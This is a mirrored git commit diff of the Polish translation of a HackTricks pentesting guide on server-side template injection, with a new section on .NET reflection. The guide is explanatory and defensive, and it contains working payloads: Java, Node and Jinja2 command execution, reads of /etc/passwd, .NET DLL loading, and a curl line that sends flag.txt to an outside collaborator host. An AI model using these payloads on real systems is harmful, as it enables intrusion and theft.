mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
c959bdcf7b
commit
86543b5aab
@ -6,17 +6,17 @@
|
|||||||
|
|
||||||
Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.
|
Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.
|
||||||
|
|
||||||
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który ilustruje podatny fragment kodu używający Jinja:
|
Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:
|
||||||
```python
|
```python
|
||||||
output = template.render(name=request.args.get('name'))
|
output = template.render(name=request.args.get('name'))
|
||||||
```
|
```
|
||||||
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie pozwolić atakującemu na wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
W tym podatnym kodzie parametr `name` z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji `render`. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru `name`, co prowadzi do wstrzyknięcia szablonu po stronie serwera.
|
||||||
|
|
||||||
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
|
Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:
|
||||||
```
|
```
|
||||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||||
```
|
```
|
||||||
Payload `{{bad-stuff-here}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie zyskując kontrolę nad serwerem.
|
Payload `{{bad-stuff-here}}` jest wstrzykiwany do parametru `name`. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, potencjalnie uzyskując kontrolę nad serwerem.
|
||||||
|
|
||||||
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.
|
Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.
|
||||||
|
|
||||||
@ -24,10 +24,10 @@ Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, dewel
|
|||||||
|
|
||||||
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzing szablonu** jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
|
Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo **fuzzing szablonu** jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (**`${{<%[%'"}}%\`**) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:
|
||||||
|
|
||||||
- Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
- Wyrzucane błędy, ujawniające podatność i potencjalnie silnik szablonów.
|
||||||
- Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
|
- Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.
|
||||||
- **Kontekst tekstowy**: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
|
- **Kontekst tekstowy**: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. `{{7*7}}`, `${7*7}`).
|
||||||
- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby zobaczyć, czy wyjście serwera jest dynamiczne czy stałe, jak w `greeting=data.username}}hello`, zwracając nazwę użytkownika.
|
- **Kontekst kodu**: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając `greeting` w `http://vulnerable-website.com/?greeting=data.username`, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w `greeting=data.username}}hello`, zwracając nazwę użytkownika.
|
||||||
|
|
||||||
#### Faza identyfikacji
|
#### Faza identyfikacji
|
||||||
|
|
||||||
@ -68,7 +68,7 @@ interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szabl
|
|||||||
|
|
||||||
### Ogólne
|
### Ogólne
|
||||||
|
|
||||||
W tej **liście słów** możesz znaleźć **zmienne zdefiniowane** w środowiskach niektórych z wymienionych poniżej silników:
|
W tej **liście słów** możesz znaleźć **zmienne zdefiniowane** w środowiskach niektórych z silników wymienionych poniżej:
|
||||||
|
|
||||||
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
- [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||||
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
- [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||||
@ -171,7 +171,7 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
|||||||
|
|
||||||
Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest wspierane w innych lokalizacjach szablonów, używając składni takiej jak `[[...]]` lub `[(...)]`. Zatem prosty ładunek testowy SSTI może wyglądać jak `[[${7*7}]]`.
|
Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak _wstawianie wyrażeń_ jest wspierane w innych lokalizacjach szablonów, używając składni takiej jak `[[...]]` lub `[(...)]`. Zatem prosty ładunek testowy SSTI może wyglądać jak `[[${7*7}]]`.
|
||||||
|
|
||||||
Jednak prawdopodobieństwo, że ten ładunek zadziała, jest zazwyczaj niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów w locie, co jest rzadkie.
|
Jednak prawdopodobieństwo, że ten ładunek zadziała, jest ogólnie niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny `TemplateResolver`, aby tworzyć szablony z ciągów w locie, co jest rzadkie.
|
||||||
|
|
||||||
Thymeleaf oferuje również _wstępne przetwarzanie wyrażeń_, gdzie wyrażenia w podwójnych podkreśleniach (`__...__`) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
|
Thymeleaf oferuje również _wstępne przetwarzanie wyrażeń_, gdzie wyrażenia w podwójnych podkreśleniach (`__...__`) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:
|
||||||
```java
|
```java
|
||||||
@ -184,7 +184,7 @@ Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:
|
|||||||
<a th:href="@{__${path}__}" th:title="${title}">
|
<a th:href="@{__${path}__}" th:title="${title}">
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:
|
To wskazuje, że jeśli silnik szablonów przetworzy te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:
|
||||||
```
|
```
|
||||||
http://localhost:8082/(7*7)
|
http://localhost:8082/(7*7)
|
||||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||||
@ -201,7 +201,7 @@ el-expression-language.md
|
|||||||
```java
|
```java
|
||||||
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
|
||||||
```
|
```
|
||||||
**Ominić filtry**
|
**Ominięcie filtrów**
|
||||||
|
|
||||||
Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
|
Można użyć wielu wyrażeń zmiennych, jeśli `${...}` nie działa, spróbuj `#{...}`, `*{...}`, `@{...}` lub `~{...}`.
|
||||||
|
|
||||||
@ -316,7 +316,7 @@ Naprawione przez [https://github.com/HubSpot/jinjava/pull/230](https://github.co
|
|||||||
- `{{'a'.toUpperCase()}}` - "A"
|
- `{{'a'.toUpperCase()}}` - "A"
|
||||||
- `{{'a'.concat('b')}}` - "ab"
|
- `{{'a'.concat('b')}}` - "ab"
|
||||||
- `{{'a'.getClass()}}` - java.lang.String
|
- `{{'a'.getClass()}}` - java.lang.String
|
||||||
- `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
|
- `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest
|
||||||
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
- `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
|
||||||
|
|
||||||
Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj [projekt Jinjava na Githubie](https://github.com/HubSpot/jinjava/).
|
Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj [projekt Jinjava na Githubie](https://github.com/HubSpot/jinjava/).
|
||||||
@ -372,11 +372,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||||||
- `${{7*7}}` - 49
|
- `${{7*7}}` - 49
|
||||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||||
|
|
||||||
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak managed beans) w JavaEE. Jest szeroko stosowana w różnych technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
|
Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:
|
||||||
|
|
||||||
- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.
|
- **JavaServer Faces (JSF)**: Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiednimi danymi i akcjami w backendzie.
|
||||||
- **JavaServer Pages (JSP)**: EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
|
- **JavaServer Pages (JSP)**: EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.
|
||||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a managed beans, zapewniając bardziej spójną strukturę aplikacji.
|
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.
|
||||||
|
|
||||||
Sprawdź następującą stronę, aby dowiedzieć się więcej o **eksploatacji interpreterów EL**:
|
Sprawdź następującą stronę, aby dowiedzieć się więcej o **eksploatacji interpreterów EL**:
|
||||||
|
|
||||||
@ -679,7 +679,7 @@ URLencoded:
|
|||||||
```python
|
```python
|
||||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||||
```
|
```
|
||||||
**Serwerowa Strona**
|
**Serwer Stron**
|
||||||
```bash
|
```bash
|
||||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||||
```
|
```
|
||||||
@ -814,7 +814,7 @@ Sprawdź następującą stronę, aby poznać triki dotyczące **obejścia wykony
|
|||||||
|
|
||||||
[Oficjalna strona](http://jinja.pocoo.org)
|
[Oficjalna strona](http://jinja.pocoo.org)
|
||||||
|
|
||||||
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na zasadach BSD.
|
> Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, jest szeroko stosowany i licencjonowany na zasadach BSD.
|
||||||
|
|
||||||
- `{{7*7}} = Błąd`
|
- `{{7*7}} = Błąd`
|
||||||
- `${7*7} = ${7*7}`
|
- `${7*7} = ${7*7}`
|
||||||
@ -856,7 +856,7 @@ Sprawdź następującą stronę, aby poznać triki dotyczące **obejścia wykony
|
|||||||
|
|
||||||
|
|
||||||
```
|
```
|
||||||
[**RCE niezależne od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
[**RCE nie zależne od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
|
||||||
```python
|
```python
|
||||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
@ -928,6 +928,23 @@ Metoda .NET `System.Diagnostics.Process.Start` może być używana do uruchamian
|
|||||||
|
|
||||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||||
|
|
||||||
|
### Obejście ograniczeń .Net
|
||||||
|
|
||||||
|
Mechanizmy refleksji .NET mogą być używane do obejścia czarnej listy lub klas, które nie są obecne w zestawie. DLL mogą być ładowane w czasie wykonywania z metodami i właściwościami dostępnymi z podstawowych obiektów.
|
||||||
|
|
||||||
|
Dll mogą być ładowane za pomocą:
|
||||||
|
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - z systemu plików.
|
||||||
|
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - bezpośrednio z żądania.
|
||||||
|
|
||||||
|
Pełne wykonanie polecenia:
|
||||||
|
```
|
||||||
|
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||||
|
```
|
||||||
|
**Więcej informacji**
|
||||||
|
|
||||||
|
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||||
|
|
||||||
### Mojolicious (Perl)
|
### Mojolicious (Perl)
|
||||||
|
|
||||||
Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
|
Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.
|
||||||
@ -950,7 +967,7 @@ W silniku szablonów Go potwierdzenie jego użycia można przeprowadzić za pomo
|
|||||||
|
|
||||||
**Eksploatacja XSS**
|
**Eksploatacja XSS**
|
||||||
|
|
||||||
Z pakietem `text/template`, XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
Z pakietem `text/template` XSS może być prosty poprzez bezpośrednie wstawienie ładunku. W przeciwieństwie do tego, pakiet `html/template` koduje odpowiedź, aby temu zapobiec (np. `{{"<script>alert(1)</script>"}}` skutkuje `<script>alert(1)</script>`). Niemniej jednak, definicja i wywołanie szablonu w Go mogą obejść to kodowanie: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||||
|
|
||||||
vbnet Copy code
|
vbnet Copy code
|
||||||
|
|
||||||
@ -958,7 +975,7 @@ vbnet Copy code
|
|||||||
|
|
||||||
Eksploatacja RCE znacznie różni się między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
|
Eksploatacja RCE znacznie różni się między `html/template` a `text/template`. Moduł `text/template` pozwala na bezpośrednie wywoływanie dowolnej publicznej funkcji (używając wartości “call”), co nie jest dozwolone w `html/template`. Dokumentacja dla tych modułów jest dostępna [tutaj dla html/template](https://golang.org/pkg/html/template/) i [tutaj dla text/template](https://golang.org/pkg/text/template/).
|
||||||
|
|
||||||
Dla RCE przez SSTI w Go, metody obiektów mogą być wywoływane. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj konieczne jest uzyskanie dostępu do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:
|
Dla RCE przez SSTI w Go można wywoływać metody obiektów. Na przykład, jeśli dostarczony obiekt ma metodę `System` wykonującą polecenia, można to wykorzystać jak `{{ .System "ls" }}`. Zazwyczaj konieczny jest dostęp do kodu źródłowego, aby to wykorzystać, jak w podanym przykładzie:
|
||||||
```go
|
```go
|
||||||
func (p Person) Secret (test string) string {
|
func (p Person) Secret (test string) string {
|
||||||
out, _ := exec.Command(test).CombinedOutput()
|
out, _ := exec.Command(test).CombinedOutput()
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user